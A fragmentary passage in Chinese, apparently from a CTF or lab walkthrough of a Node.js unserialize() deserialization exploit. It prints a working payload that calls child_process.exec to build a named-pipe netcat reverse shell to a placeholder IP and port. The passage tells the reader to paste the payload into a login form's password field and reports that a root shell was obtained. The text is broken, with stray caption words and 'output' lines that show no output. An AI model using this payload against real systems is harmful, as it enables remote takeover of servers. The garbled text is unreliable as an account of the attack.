unserrialize()
函數,經過傳遞當即調用函數表達式(IIFE)的JavaScript對象能夠實現任意代碼執行。而且Node.js服務端必須存在接收序列的數據接口準備反序列化代碼:_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}()
,修改裏面的node
用戶名任意輸入,將修改好的反序列化代碼複製到密碼框點擊登陸便可。
點擊登陸後,以下圖所示:利用成功。
shell
已經反彈回一個shell,而且權限爲root。
bash
運行後獲得如下輸出:
函數
運行後獲得如下輸出:
工具